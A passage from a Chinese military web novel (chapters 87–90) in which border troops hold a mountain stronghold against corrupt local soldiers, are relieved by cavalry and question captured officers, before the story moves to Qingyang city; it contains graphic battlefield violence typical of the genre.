张富贵带着几十人,趁着火势阻拦,往主寨退。
——谁能想到,原本手到擒来的“收寨”,竟变成了拿命赌的硬仗。
两日前夜里,他和王铁山带百名边军摸进山寨时,这里的守备松得可笑。
老弱贼兵全跪了,二当家韩勇和刘三也主动投了诚。
可刘三刚咬牙说出实话:“刘德福跟他女婿杨浩——就是那幽州统制官!要派兵来灭口。
连我都要杀,要剿匪立功,还要卷走山寨的钱!”
话音未落,山下就传来马蹄声,像炸雷似的。
韩勇的手下就慌慌张张跑上山,说有官兵来袭。
“报!山下好多州府厢军,马步混编,得有几百人!”
暗哨探得准,张富贵没犹豫,立刻跟韩勇合兵,与这位山寨二当家联手抗敌,守在关卡上。
冷艳山就主寨和山道两道关卡。
张富贵刚站上寨墙,心就沉了下去。
山坡下黑压压的队伍,骑兵,步兵列得整整齐齐,皮甲上的铁片在火把光里闪着冷光。
哪是普通守军的样子?
“山上的贼人听着!”
领头的军官提着马鞭喊,声音顺着风飘上来,“我是幽州府军营指挥使杨全,奉统制官令剿匪!”
“开门投降,饶你们不死;敢抵抗,一个不留!”
“我们是铁血军寨,北疆边军,不是山贼!是误会!”王铁山忍不住要喊,被张富贵按住了。
“别多话,说清身份就行。”
可杨全听完,只冷笑一声:“铁血军寨?没听说过。山贼还敢冒充边军?弓箭手,射!”
果然,地方军队就是来灭口的。
夜色里,弓弦声密密麻麻,箭雨像黑虫子似的扑过来。
张富贵赶紧喊众人蹲下,让盾手举盾,又压低声音:“等会儿装中箭,叫得越惨越好。”
箭雨不停,寨墙上立刻“哀嚎”一片。
有人抱着手臂喊“腿断了”,有人捂胸口叫“我的眼睛”,韩勇和刘三也往地上一躺,哼哼唧唧装伤。
还有人“啊啊”惨叫几声后没声了,连气都不喘了。
张富贵借着火光看得真切,横肉脸上连连抽搐。
而杨全在山下听得真切,脸上露出得意的笑。
他早知道山寨空虚,没多少人。
“兄弟们,贼人垮了!”他挥着马鞭,向前一指。
“先冲上去的,赏银五十两!”
“杀啊!”厢军步兵眼睛都亮了,举着刀枪往山上冲,脚底下恨不得生风。
张富贵趴在垛口后,盯着越来越近的人影,在心里数:八十步、七十步、六十步……
等最前面的厢军到了百步远,他猛地站起来,环首刀往空中一劈:“放箭!”
擅长射箭的寨兵,山贼纷纷弯弓搭箭。百张硬弓同时响,箭矢像暴雨似的扎进厢军堆里。
那些厢军以为山贼早垮了,哪来得及躲避?
“噗嗤、噗嗤”的入肉声里,前面的人成片倒下,后面的收不住脚,撞在尸体上,顿时乱成一团。
“杀!”王铁山提着刀盾冲出去,突击队跟在后面,像猛虎下山似的,居高临下地**。
穿铁甲的边军三人一组,六人一队,砍起人来不含糊,厢军很快就溃了,被王铁山追着往山下跑。
寨墙下很快堆了几十具尸体。
张富贵没歇着,让韩勇和刘三带人去收拾战利品,扒皮甲、捡兵器,能武装一个是一个。
“妈的,还真是边军!”
杨全在山下看得清楚,脸渐渐黑了。
那铁甲、那箭术、那配合,分明是正规边军!
他心里发慌——边军怎么会在这儿?
要是留了活口,杨家勾结山贼的事就瞒不住了。
整个杨家都得掉脑袋!
“一个都别放跑!”杨全咬着牙下令,“这群山贼狡猾,能打
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,装备也好,今天必须踏平山寨!”
他带来的本就是杨家私藏的精锐,又许了升官赏钱,重新整队后,攻势比之前猛了好几倍。
弓箭手在后面不停射,箭雨像瀑布似的往寨墙上砸;步兵扛着云梯往上冲,一架接一架搭在寨墙上。
“滚木礌石,砸下去!”王铁山抱起磨盘大的石头往下扔。
碎石裹着血肉滚出老远,厢军的惨叫听得人头皮发麻。
韩勇守在另一边,见有人要爬云梯上来,立刻带着换了皮甲的喽啰补上去,刀砍**,不让人靠近寨墙。
张富贵看着厢军冲得凶,突然喊:“去伙房,把那几锅开水抬来!”
“让后面的女人接着烧,就说又有山贼攻来了!”
“是!”
没多久,几个冒白烟的木桶就被抬到寨墙边。
“给老子用瓢舀,慢慢泼!”
张富贵一声令下,一瓢瓢开水顺着云梯往下浇。
“滋啦——”开水烫在人身上,惨叫声比之前还凄厉。
云梯上的厢军士兵像下饺子似的往下掉,衣服都冒着烟,摔在山道上,不是死就是残。
寨墙上的箭没停,滚木礌石往下砸,更是让厢军死伤一片。
这几十米的山道,成了要命的鬼门关,厢军踩着同伴的尸体往上冲,却怎么也冲不过来。
这场仗打了半宿,直到太阳升到头顶。
守方占着地势,只伤了七八个山贼。
可山下的厢军,已经折损了一半多。
可没等众人喘口气,又有几百厢军赶来相助。
更糟的是,杨全得了援兵,竟分兵绕到后山,要两面夹击。
厢军在山下煮了饭,午后又开始攻山。
前寨刚打起来,后山就传来厮杀声。
张富贵心里一紧,赶紧让王铁山去守后寨。
“将军,我也去!刘三,跟我走!”韩勇提着刀就请战,刘三立刻跟上。
两人带着几十个悍匪往后山跑。
后山的厢军已经攻上山坡,正往寨里冲。
王铁山先放了一波箭,接着,跟韩勇冲上去**,刘三则带人抵着后寨门。
几人配合着,打退一波又一波敌军。
真正的血战,这才刚开始。
仗一打就是两天。
厢军靠人多,投入了上千兵力,两面夹击,慢慢占了上风。
可守军,总共才两百多人,死一个少一个,只能靠着山寨的关卡和险要地势固守,硬撑。
边军穿铁甲,伤得少,战力还在。
韩勇的喽啰却伤了一半多,大多带伤。
韩勇自己左臂的伤口裂了又包,布条早被血浸透,可他还是握着刀冲在最前面,没退过半步。
昨晚,山前首关防线丢了。
今天黄昏,中段关隘也守不住了。
众人无奈,退到没路可退,撤进了核心主寨。
第87章 浴血奋战(二)
那把大火并未阻敌太久!
木质寨墙燃烧的噼啪声响,很快被震天的喊杀声淹没。
“冲上去,别给他们喘息之机!”杨全脸色阴沉,声音已喊得沙哑,嘶哑中裹着恼羞成怒。
他原以为当夜就能踏平山寨。
不料这场攻防战竟持续了两天两夜。
杨家精心培养的精锐死伤已逾数百,却仍未触及核心寨区。
若不能将此任务圆满完结,他这杨家旁支子弟,丢官罢职都是轻的,只怕项上人头也不保。
“杀!第一个杀入山寨者,官升三级,赏银千两!”
杨全挥刀厉喝,试图以重赏催动最后的攻势。
厢军兵卒眼中迸射出贪婪与疯狂,齐声吼叫着向前冲去。
尽管都明白率先攀登云梯者九死一生,但人人都抱有侥幸心理,盼着自己就是那个幸运儿。
“杀!”他们呐喊着,不顾一切地涌向核心山寨。
与此同时,后寨也再次发动强攻,企图让守军腹背受敌。
“呜呜……”急促的号角声响起。
张富贵狼吞虎咽地扒完女人们匆忙做出的饭食,甚至来不及擦去嘴角的油渍,便起身大吼。
“集合,准备战斗!”
还能战斗的守军迅速分为两股,新的血腥搏杀再度开启。
韩勇收编的几十个山寨老弱,也投入了战斗。
他们或许气力不济,但已经得知地方军队要灭口,为了减轻罪责,为了活下去,奋勇玩命。
那些被救下来的女人们,则端着滚烫的开水穿梭在战场后方,遇到爬云梯的敌人,就将开水泼过去,滚烫的水汽中夹杂着敌人的惨叫。
山寨里此刻真的是有一个算一个,人人上阵,没有一个人退缩。
正面寨墙由张富贵亲自带百多人防守,韩勇和刘三在两侧协助指挥,三人都亲自下场厮杀。
后寨的攻击力度比前山稍减。
王铁山带领着数十铁甲寨兵死死守住,那些铁甲兵虽身形魁梧,铠甲上却也早已布满刀痕。
张富贵和王铁山作战勇猛,带队冲杀,死战不退。韩勇和刘三两人也不差,奋战在前线。
山寨里还有两个原本是山贼的汉子也格外勇猛。
一个叫赵虎,身高八尺,膀大腰圆,擅长用长斧,每一次挥舞,都能将敌人的云梯砍断!
另一个叫陈石,个子不高,身形矫健,箭术精湛。站在垛口上瞄准敌人,就没有不命中者。
两人各自领着一小队人马,一次次击溃敌军。
奈何,厢军的人数实在太多了,密密麻麻地涌上来。
二十多架云梯同时靠在前山寨墙上,守军根本来不及推开。
刚把这架云梯推倒,那架云梯上就已经爬满了敌人……
越来越多的厢军翻进寨墙,和守军扭打在一起。
混战中,一名厢军士兵趁着韩勇转身**的间隙,从背后挺矛刺来,矛尖带着寒光直逼韩勇后心。
“小心。”刘三惊呼,几乎是凭着本能猛地扑过去,用自己的身体挡在了韩勇前面。
“噗嗤”一声,锋利的长矛瞬间刺穿了刘三的肩膀,鲜血顺着矛杆往下淌,瞬间就染红了他的衣襟。
刘三闷哼一声,却死死抓住矛杆,不让对方拔出去,将手中长刀狠狠掷出,切开对方脸颊。
他拔出**,看着韩勇,用尽全身力气嘶声道:“韩兄弟,别…别管我……守住……山寨……”
韩勇回头看到这一幕,双眼瞬间红了,他反手一刀狠狠砍下,竟直接斩杀一个偷袭的厢军。
随后他一把将刘三扶住,交给身边的心腹,声音带着颤抖却依旧坚定:“快带他去包扎。”
“其他人跟我杀!”
他提着卷刃的朴刀再次冲进敌群,朴刀挥舞间,血花溅得满脸都是,每一刀都带着复仇的怒火。
前山的局势愈发危急。
杨全下令不惜一切代价全力冲锋!
厢军如同疯了一般攀附而上,直接踩着同伴的尸首翻入寨内,与疲惫的边军士兵扭打在一起。
“老张!箭没了,石头也快用完了!”
王铁山脸上被划了一道长疤,从额头一直到下巴,血还在往下滴。打退敌人,喘着粗气跑过来。
他声音沙哑得像破锣,“弟兄们连刀都快举不动了,有的刚砍倒一个,自己就累得倒在地上!”
张富贵几次下场厮杀,飞虎铠甲被砍出几道豁口,血顺着缝隙往下淌,染红了里面的衣袍。
他环顾四周,寨兵与山贼们,个个疲惫不堪。
有的靠在垛口上大口喘息,有的坐在敌人的尸体上,手里紧紧握着武器,眼神却依旧坚定。
山下,又传来杨全那歇斯底里的催促进攻声。
“最后一次冲锋!拿下山寨,赏银翻倍!给我冲啊!”
厢军如潮水般再次涌来,仿佛要将整座山寨吞噬。
“是时候了,用**锏吧!”王铁山急切地看向张富贵。
张富贵最终重重点头:“好!用火,烧死他们!”
很快,他们从马鞍袋里取出几样东西:
数个装满火油的葫芦、二十多个陶瓷瓶、一匣油布引信,还有一包亮银色的不知名粉末。
几名军汉迅速从山寨仓库搬来库存的火油桶,并寻来更多陶罐。
张富贵、王铁山与几名心腹立即开始赶制简陋的**。
得益于秦猛事先的安排,将领们去火器工坊帮过忙,这几日,张富贵的人已粗通制作之法。
而且**不好携带,马鞍袋里带着必备之物。
这原本为防备意外变故而准备的器物,此刻成了边军绝境中的救命符。
“点火!”
张富贵眼神锐
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利如鹰,厉声下令。
士兵们用火把点燃瓶口的油布,火焰迅速蔓延,映照着一张张沾满烟尘与血污的坚毅面孔。
“投!”随着张富贵再度怒吼,士兵们用尽最后的气力,将熊熊燃烧的陶罐朝着敌军最密集的区域猛掷下去!
“哗啦——”
陶瓷瓶接连破碎的脆响在山坡上爆开,黏稠的火油四处流淌,遇明火顷刻爆燃,化作一道道数米高的烈焰,瞬间将那片区域化为死亡之地。
凶猛的火舌贪婪地舔舐着厢军的皮甲、衣物和头发。
厢军士兵们凄厉惨叫着、翻滚着,试图扑灭身上的火焰,却引得火势更旺,混乱中许多人被自己人踩踏倒地,转眼间,便被火焰吞噬。
这可怕的一幕同样发生在后寨!
瞬间就让厢军损失惨重,击溃他们,这次冲锋。
“好可怕的玩意!”韩勇目睹此景,瞳孔剧烈收缩。
那刺鼻的气味他熟悉,是火油。
但寻常火油绝无如此可怖的威力,莫非边军掌握了某种极强的秘制火器?
杨全在后军看得目眦欲裂,脸色惨白如纸。
他无论如何也想不通,这群困守孤山的边军何以能拿出如此狠厉凶暴的武器!
那冲天而起的烈焰,不仅焚烧着他的士卒,更将他最后的一丝侥幸和希望也烧成了灰烬。
“撤!快撤!”他几乎咬碎了牙,才从喉咙里挤出这道命令。
厢军早就被吓得魂飞魄散,不敢靠近山寨。连滚带爬地逃下山坡,只求远离这片恐怖火海。
山坡上的火焰仍在噼啪燃烧,一股焦臭味弥漫。
零星传来几声垂死的哀嚎,随后很快归于沉寂。
张富贵扶着焦黑的垛口缓缓站直身体,冷冷望着撤退的敌军,血与汗混在一起,黏腻不堪。
这时,韩勇拖着受伤的臂膀走来,声音低沉。
“山后的厢军,也撤了。”
“嗯?”张富贵点了点头,目光扫过身边每一个疲惫到极点的弟兄,又望向远方幽州的方向。
——那是杨浩的势力范围,亦是此番劫难的源头。
他深吸一口掺着血腥与焦糊气的空气,握紧了手中的环首刀,声音虽哑却异常坚定:
“清理战场,救治伤员,把能用的箭矢、石头都归置好。对方不会善罢甘休,我料他晚间必来报复。
咱们务必在他卷土重来之前做好准备,这冷艳山,既然是咱们的栖身之所,就绝不能再丢。”
夕阳将山寨染得一片血红,更显悲怆!
守军们沉默地穿梭在尸骸与废墟之间,收敛战友遗体、搜集可用军械,无人抱怨,只因每个人都明白,短暂的喘息之后将是更为残酷的考验。
张富贵屹立寨墙之上,望着渐渐沉入远山的落日,心中澄澈:这场较量,方才只是开始。
第88章 号炮起,援军至
硝烟弥漫的战场上,伤兵的呻吟声稍纵即逝。被打扫战场的军卒补刀,给了他们一个痛快。
历经多次血战,这些军寨新兵眼神,麻木而凶狠——他们不想死,所以只能让敌人死喽!
“只要能活下去,就是最好的兵丁。”
“希望…援军能早点来吧!”张富贵默默祈祷。
利用这难得的间歇,张富贵、王铁山等人迅速处理伤口,盐水清洗,敷上金疮药,仔细包扎。
他们让兵卒抓紧时间吃饱喝足,找角落合眼休息,以便恢复体力,迎接即将到来的恶战。
山道关隘处,果然如张富贵所料。
杨全果然没有放弃,正在整顿残兵。
清点人数,发现伤亡已过半,他心中愤恨难平,手中的马鞭狠狠抽打在焦土上,溅起一串火星。
“一群废物!连个山寨都拿不下!”
任凭他怎么骂,如何宣扬赏赐,厢军士兵仍然士气低落。想起那可怕的**,不敢再战。
杨全和另外一个指挥使简单商议过后,没办法。
只能动用最后的预备队——三百骑兵。
这些骑兵本是压箱底的精锐,清一色草原好马,骑士佩刀,是防止山贼逃窜,追杀所用。
此刻却不得不下马当作步兵用。
杨全站在一处土坡上,目光阴鸷地扫过集结起来的军官们,声音沉得如同暴雨前的闷雷。
“实话告诉诸位!我等连日猛攻,却不能寸进。
对方人不多,却守御有度、战力强悍,绝非寻常山贼流寇,再身穿铁甲,十有**便是边军。”
“攻击边军、致其重大伤亡,此乃株连九族的大罪!”
军阵中顿时一阵骚动,恐慌在士兵脸上蔓延。
有人手中的兵器微微颤抖,有人下意识地后退半步。
杨指挥任职多年,煽动这一套玩得炉火纯青,无非是恐吓带蛊惑,见众人恐惧,话锋一转。
“事已至此,我等已无退路!”
“唯一活路,便是将他们尽数灭口,彻底抹杀于此山之中!”
“绝不能走漏风声,否则,将后患无穷。本将这是为了诸位及自家父母妻儿的身家性命!”
他脸上陡然浮现狠厉之色,猛地举起**,嘶声吼道。
“望诸位奋勇向前、有进无退!”
“本将亲自率队,随我——杀贼!”
“杀!杀!杀!”
这些地方厢军被逼入绝境,为了活命,为了家眷,只得瞪着眼珠子,硬着头皮将错就错。
在杨全的督率下,他们再次鼓起士气,杀声撼天。
待埋锅造饭,吃饱喝足后,已经入夜。杨全又做了一番动员,率队伍如潮水般扑向山寨。
山寨之内,张富贵、王铁山等人早已察觉山下异动。
寨墙上,守军将士严阵以待。
虽然大多带伤,血染战袍,却无一人退缩。
张富贵拄着长刀站立寨门墙最高处,望着山道上黑压压的敌军涌动,对身旁的王铁山笑道。
“老王,看来咱得要拼命了。”
“是又要拼命。”王铁山摸摸脸上疤痕,笑得狰狞。
“弟兄们,让他们有来无回!”
“杀,杀……”山寨内的喊杀声浑厚,更有杀气。
守军迅速动员起来,箭矢,滚木已所剩无几。许多人手中只剩下卷刃的环首刀和??了的**。
但每一双眼睛中都闪烁着决绝的光芒
——那是坚守阵地,置之死地而后生的勇气。
几个年轻士兵的手在微微颤抖,却被老兵一把按住。
“稳住,小子。”
“越是这时候越要硬气!”
“这群畜生来灭口的,你怕,人家就不杀你了?”
这句话韩勇同样对自己的手下说着,没有退缩的余地。想要活下去,那就只能玩命搏杀。
就在地方军队,扑向山寨,在这千钧一发之际。远方的夜空中突然升起几颗红色的信号弹!
它们划破夜空、轰然炸响,绽放出耀眼的红色烟花,在浓重的夜色映衬下,显得格外醒目。
如同黑夜中绽放的血色蔷薇。
张富贵先是愕然,随即辨认出那熟悉的信号,爆发出震天的狂笑:“哈哈哈,是我们的信号!”
“援军!援军到了!”
“援军来了!援军来了!”
喜讯如野火般迅速传遍山寨。
绝处逢生的希望瞬间点燃了所有守军将士的斗志。
伤兵挣扎着爬起来,抓起手边的武器。
箭手将最后几支箭矢小心地搭在弦上。
寨门后的刀盾手们不约而同地向前迈出一步。
“杀!”喊杀声骤然自山寨内部冲天而起。如海啸般一浪高过一浪,压过了山下敌人的喧嚣。
杨全同样看到身后夜空中那几朵血红的烟花。
红的妖冶,红地在他心中生出一种不好的预感。
那红色太过鲜艳,仿佛是用鲜血染就,在夜空中久久不散,像是在宣告着什么不祥的预兆。
接着,轰隆隆的地面震动由远及近。
这声音越来越响亮,地面都在轻微颤,碎裂的石子在蹦跳。
这是大队骑兵冲锋时才有的景象。
许多山坡上的厢军士兵不由自主地往声音传来的方向望去。
远处大队骑兵如暗夜中的幽灵般向这边冲来。
马蹄踏起漫天尘土,如狂潮冲天,铁甲反射着幽冷的月光。
“不好,敌人的援军来了!”杨全听到山上的笑声,脑海中冒出这个想法,脸色瞬间变得惨白。
但他很快强自镇定,厉声喝道。
“不要慌,不要乱,结阵迎敌!”
“快,前队,迅速强攻,踏平山寨。”
“杀!”整齐划一的喊杀声响
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彻四野,如刺破夜空。
那是秦猛率领援军双战马轮换,除了必要的停顿,在马上啃干粮,一路不停,终于及时赶来。
草原战马高速冲锋,速度何等之快?
明明前一刻还在远处,几个眨眼就到了附近。
后排骑兵双腿夹着马腹,弯弓搭箭。
“嗡——”弓弦颤动不休,箭矢如流星破夜而出,不断有厢兵中箭倒地,惨叫之声此起彼伏。
上百骑兵形成锐利的锥形阵,狠狠撞入厢军后阵中!
“本将乃铁血军寨知寨官秦猛,山贼给老子死!”
秦猛冲在最前,胯下踏雪乌骓撞飞好几个敌军,手持丈八铁枪横扫,厢军挨着,惨叫抛飞。
常勇在左,**在右,三人形成冲锋箭头。身后,骑兵队迅速扩大战果,如入无人之境。
顿时,一大片厢军被撞得倒飞而出,撞倒身后的同伴。
骑兵队来回冲杀,如劈波斩浪,所向披靡。
战马冲撞之力何等恐怖,骨骼碎裂之声不绝于耳。
铁骑践踏,**乱扎,长刀乱砍,掀起一阵腥风血雨。
秦猛老远就看到在马上指挥的杨全,率队直接冲杀过去。
杨全自恃勇武,见状不但不避,反而拍马迎上。他哪敢承认对方身份,颠倒是非的喝斥:
“尔等山贼好大的狗胆,袭击官兵,贼人受死!”
他怒目圆睁,纵马杀来,举刀便劈。
两马交错间,秦猛朝他露出轻蔑的笑,**如蛟龙出洞,一拨一挑,便将杨全手中大刀击飞。
随即反手一枪杆砸在他后背,将其打**下。左右亲兵下马,一拥而上,将杨全生擒活捉。
“主将已擒,器械跪地,降者不杀。”
秦猛气沉丹田,声如洪钟,响彻战场。
“器械跪地,降者不杀。”身边,许多军卒大喊。
可是战场太多混乱,喧嚣盖过呼喊。
“哼,那就杀,杀到他们怕。”秦猛脸色瞬间阴沉。又下令**和常勇率一队骑兵绕袭后山。
彻底拉开了猎杀序幕。
“是将军来了!弟兄们,杀出去!”
山寨望楼上的守军看到这一幕,激动地大声呼喊。
寨门轰然洞开,张富贵、王铁山率领铁甲寨兵纷纷跨马舞刀,如猛虎下山般冲出山寨杀来。
虽然许多人受伤,但此刻士气如虹,喊杀声震天动地。
张富贵一马当先,手中的狼牙棒挥舞如轮,每一次抡砸都伴随骨骼碎裂,带起一蓬血雨。
王铁山则率领一队精锐直插敌军心脏,所到之处,势如破竹。
两路夹击之下,地方军队大溃败,纷纷丢盔弃甲,四散逃窜。
然而,他们又如何跑得过疾驰的骑兵?
战马奔腾,如影随形,许多厢兵还没跑出几步就被追上,黑夜中寒光闪过,成了刀下亡魂……
第89章 驰援定战局
秦猛追杀溃敌之际,夜色中忽闻马蹄声如雷,一簇簇火把蜿蜒而来,宛若一条奔腾的火龙。
“来者止步!”
夜色难辨来人,秦猛横枪立马,声震四野。
“虎贲军飞虎卫副将,铁血军寨秦猛在此,来者通名!”
火光下,一员将领勒马而出,甲胄映着星火,朗声道:“秦知寨,又见面了兵。虎贲军飞虎卫副将周扬,奉赵将军之命,率三百铁骑来援!”
原来,张富贵早察觉地方军合围之势,已留后手。
他命斥候小队分三路疾驰报信:
一路往边寨,嘱秦大壮加固防线、谨防突袭。
二路往郡城寻秦猛,告知山寨危急。
最后一路直闯飞虎大营,详述敌军异动与山寨困境。
本往返八百余里难以及时抵达,可赵将军接到袁飞密信后,提前两日率军赶来,中途恰遇赶赴幽州飞虎大营的斥候。
正因如此,周扬才得领兵星夜驰援,截住追兵、与秦猛会合。
“哈哈哈,好哇!”秦猛问清情况后,爽快大笑。
“周大哥来得正是时候,一起抓俘虏当苦力!”
飞虎精锐杀到,彻底合围地方厢军。
铁骑来回冲杀,布下天罗地网,将残敌尽数困在包围圈中。
周扬弓马娴熟,一杆银枪出神入化,每一次刺出都精准命中敌人要害。
所率骑兵更是训练有素、配合默契,如二层包围圈般,将试图突围的厢军队伍一次次击溃。
不少人为求活命,丢械跪地求饶。
负隅顽抗者,皆是被就地格杀。
后山方向的敌军亦被击溃,遭骑兵疯狂追杀。
**和常勇率队押着数十个厢军俘虏返回,小伙**垂头丧气,常勇却眉开眼笑。
——他撞上了被**一枪捅伤的指挥使军官,将其活捉。
最终,杨全所率一千多厢军,安然逃脱者寥寥无几。
战场上尸横遍野、血流成河,俘虏抓到近三百人,其余皆倒在血泊之中。
一步错,步步错!
功名利禄未得,反倒成了孤魂野鬼。
从核心寨区到孤峰山脚下,焦土遍布,残旗断戟随处可见。
濒死伤者的呻吟与战马的哀鸣在夜风中飘荡,诉说着战斗的惨烈。
星光照在秦猛满是血污的脸上,他望着满地尸骸,冷哼一声:“早知今日,何必当初!”
“纵使你们是被蛊惑,可若自身不贪,何苦走这一遭?既然上了战场,就得有赴死的觉悟!”
……
战斗结束后,周扬率军围困俘虏,就地审问。
“直娘贼!你们这群地方官狗,抢军功,还敢攻杀虎贲军飞虎卫,真是找死!给老子狠狠打!”
这面皮白净、看似书生的周副将口吐芬芳,令人揪出两个营指挥使与几个都头军官,当着众俘虏的面扒光衣服,屁股撅起,鞭打审讯。
“说!姓甚名谁?”
“谁让你们来的?为何**边军?”
“给老子说!是不是刘德福密谋怂恿你们来的?”
……
周扬本是脾气温和之人,此番驰援,既惊怒地方军队敢攻杀剿匪边军,又记着赵起将军“查清事情”的严令。
尤其得知冷艳山边寨被断运河粮道、遭山贼骑兵夜袭时,赵将军勃然大怒,一脚踹翻案桌。
地方势力越发猖獗,做得太过火,雍州和并州军队或许会忍,但幽州驻军虎贲军绝不会吞声。
故而周扬此刻格外暴戾,揪着指挥使杨全的头发狂甩嘴巴,左右摇晃,险些将其头皮拽下!
“呸,活该!”秦猛吐出三字,毫无干涉之意。
他找到张富贵、王铁柱等人,见众人虽多带伤、铁甲遍布斩痕,却无性命之忧,稍稍安心。
若他来得晚些,好不容易拉起的队伍怕是要损失惨重。
“猛子,多亏你及时赶来,不然只能给我收尸了。”张富贵拎着两坛酒快步走来,残留血污的脸上少见的心有余悸,直接丢给秦猛一坛。
秦猛接过酒坛,仰头饮了一口,酒水顺着嘴角滑落,混着脸上的血污,更显悍勇。
“说什么胡话,都是袍泽兄弟,理应拼死救援。”
“再说了,你这么勇猛,肯定不会有事;就算真有事,以咱们的关系,你老婆孩子我也会照养。”
话一出口,秦猛倒有些尴尬,这话怎么这么耳熟?
他脑海里竟浮现出一个五短身材、白面奸诈之徒的模样。
“娘嘞!我张富贵命硬得很,地方狗想杀我,门都没有!”张富贵恼羞成怒地瞪了秦猛一眼。
“对对对,我问过了,这次战斗,富贵哥当居首功。”秦猛立马岔开话题,举起酒坛与他碰了一下。
“你有伤,少喝点酒。”
“没事,伤口不深,过几天就好。”
“将军!”这时,王铁山安排好打扫战场,领着韩勇、刘三等人跑过来,为二人说好话。
韩勇是冷艳山二当家,刘三原是刘德福的心腹管事,偷听到消息后逃出来,及时赶到山寨报信。
若不是二人通风报信,等地方军队深夜偷袭,张富贵他们怕是真要栽跟头。
张富贵也帮腔:“大家一起联合抗敌,也算并肩作战的战友,希望秦知寨你能网开一面,不予追究。”
“没错,韩勇及麾下喽啰常年在外经商,没参与,甚至不知山寨掳掠边民、**放火的事。”
韩勇当即带人扑通跪地,朗声道:“求将军收开恩。我等虽是山贼,却都是活不下去的穷苦百姓,懂忠义二字,谁不想过安稳日子。
我等愿跟随将军效力,鞍前马后,在所不辞!”
“请将军开恩。”一群喽啰呐喊。
秦猛早已得知这些情况,又念及韩勇懂经商,正是军寨急需的人才,便答应了他的投奔。
他沉吟片刻后,点头:“可以,此战你们立了功,既然愿意投奔从良,本将就收留你们。
放心,你们山贼的身份我不会往外说,对外就称是边寨调来协助剿匪的队伍,没人会多问。”
“希望记得今日,不可误入歧途。”
“多谢大人开恩。”韩勇等**喜,俯身拜谢。
“起来。”秦猛上前将韩勇、赵虎、陈
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石一一扶起。
唯独刘三仍跪在地上不起。
刘三嘭嘭磕头,哭成泪人:“将军,我知道的太多了,在下愿做牛做马,只求您救我的家眷。”
“先别急,我会尽力想办法救人。”
秦猛将刘三拉起,详细了解情况后,温言安抚。
“只要你没被抓住,刘德福投鼠忌器,暂时不会动你家人。”
随后,他下令队伍全员行动:
收集战场上的衣甲、箭矢、折断的长刀与枪头。
但凡有用之物,尽数收拢。
众人就地取材制作简易拖车,将仓库里的粮食、棉布等物资搬上车,驴骡牛不够,便用之前缴获的敌军战马拖拽。
“不要乱,不要慌!女人煮饭烧水,老爷们打扫战场,早点离开这鬼地方,返回边寨安顿!”
“秦知寨说了,回去后**行赏!”
“这是边疆,是乱世,活着、活得好才最重要。大家别有心结,就当杀了一群披着人皮的畜生!”
**、王铁山、常勇等人吆喝着,各自带队忙碌。
火把光芒晃动,映照着一张张疲惫却坚毅的脸。
那二十多个被救下的女子,眼神麻木又带着狠厉。
看着山寨外血流成河的尸堆,有人目光冰冷一片,有人嘴角还残留着污秽,显然是呕吐过。
这场血战的记忆,必将长久烙印在每个幸存者心中。
次日天蒙蒙亮,一支绵延数里的车队远离冷艳山。
曾经的山寨被大火吞没,连同满地尸体一同化为灰烬。
飞虎卫三百精锐分两队,一队开路、一队断后。
没受伤或轻伤的边寨军卒骑马护卫车队两侧。
张富贵、韩勇、刘三等伤兵被安排在马车上。
二十多个女子背着小包,也乘车赶路。
车队后方,近三百个俘虏被绳子绑着手连成一串。昨晚见边军审讯了一夜,人人心惊胆战。
其实周扬的鞭打审讯本没起效,还是**带着兵卒用了铁血军寨的特殊刑罚,非常管用。
杨全等军官的惨叫声吓跑了周围豺狼,也让他们如竹筒倒豆子般吐露实情,问什么答什么。
青阳郡城那边还有事!
秦猛需再次返回,便与周扬等人作别。
“秦知寨,你不随队返回军寨?”周扬好奇问道,又看了看一旁抱臂的袁飞,或者依旧沉默。
秦猛含糊说道:“周兄弟,烦请转告赵将军,我还有事要办,过两天再回军寨,请他担待一二。”
随即他脸色一沉:“这次厢军袭击我军寨队伍,不管背后是谁,敢动我们铁血军寨的人,就得付出代价,这事没完!”
“报仇是肯定的,但眼下最重要的是安抚伤员、清点损失,同时加强军寨戒备。”周扬神色凝重。
“地方军队损失过千,这事还得等将军定夺。”
“那是将军的事,我只知道,敢动我的人,必须以牙还牙、以眼还眼,为死去的弟兄们报仇!”
秦猛满脸狠厉,目光扫过在场众人。
随后,他拨转马头,与周扬作别,率队折返青阳郡城。
第90章 青阳城之变
青阳郡城。
十一月,中旬初。
朔风如刀,刮过街巷,吹得行人缩颈弓腰,步履匆匆。
秦将军染了风寒的消息,在这寒风中不胫而走,引得城内大小官吏心中忐忑。
郡守林安国,郡丞董袭差人来慰问。
税吏班头张琨早早备了上等老参,县丞刘伟也拎着滋补药材赶到将军暂居的北军营探望。
却统统被门外按刀而立的亲兵拦下。
院内隐约传来几声压抑的咳嗽,亲兵面色冷硬:“将军需静养,一概不见。”
众人只得留下心意,讪讪离去。
人的名,树的影!
这位将军一言不合,便拔刀**的铁血作风。
暗地里些心怀异心者,也不由得将心思摁回肚里,愈发老实本分。
无人知晓,此刻的秦猛早已不在城中。
与此同时,得了新命令的庞仁已至县衙报道,接下郡县巡检使臣的印信,专职操练兵马、布防关隘、缉贼捕盗,维系这青阳城的治安。
巡检司衙门设在城外十里咽喉关隘。
然而,庞巡检上任第一桩事,却以“奉将军令,协助城中产业交接”为由,将练兵事务暂交副手刘大头与唐****。
一个领着十来个铁甲军卒。
一个带着二十多名从县衙快班、壮班点来的衙役。
一行人浩浩荡荡先往城外营地整顿兵丁去了。
庞仁自己则留了下来,领着部分寨兵和衙役,真格儿地在青阳郡城内开始“练习”抓贼捕盗,打击奸宄(guǐ)。
青阳城内的治安问题也轮不到巡检司来插手。但他以“练习”,协助衙门办案还是允许的。
前日,庞仁正领着一队人马巡至西市口,但见前面一阵骚动,围了一圈人。
挤进去一看,一个衣着朴素的老者坐在地上,抱着腿呻吟,身前倒着一辆菜车,青菜萝卜撒了一地。
对面是个穿着绸衫的中年商人,面红耳赤地争辩:“分明是你自己撞上来的!怎可讹我?”
那老者哀嚎着:“天杀的,你马车撞了人,还反咬一口。
我的腿定是折了,没有十两银子,今日决计不能了!”
“你这是污蔑……”中年商人气得发抖,与之争执。
庞仁铜铃般的眼睛一瞪,拨开人群。
“何事喧哗?”
他这身巡检公服和身后一队虎狼之兵,顿时让场面静了几分。
那商人如见救星,忙上前作揖:“巡检大人明鉴!晚生马车行得缓慢,这老者突然从旁冲出撞上車辕,便倒地不起,开口便要十两汤药费。”
那老者却哭天抢地:“青天大老爷,小老儿一把年纪,岂会拿身子骨讹人?哎哟,疼死我了……”
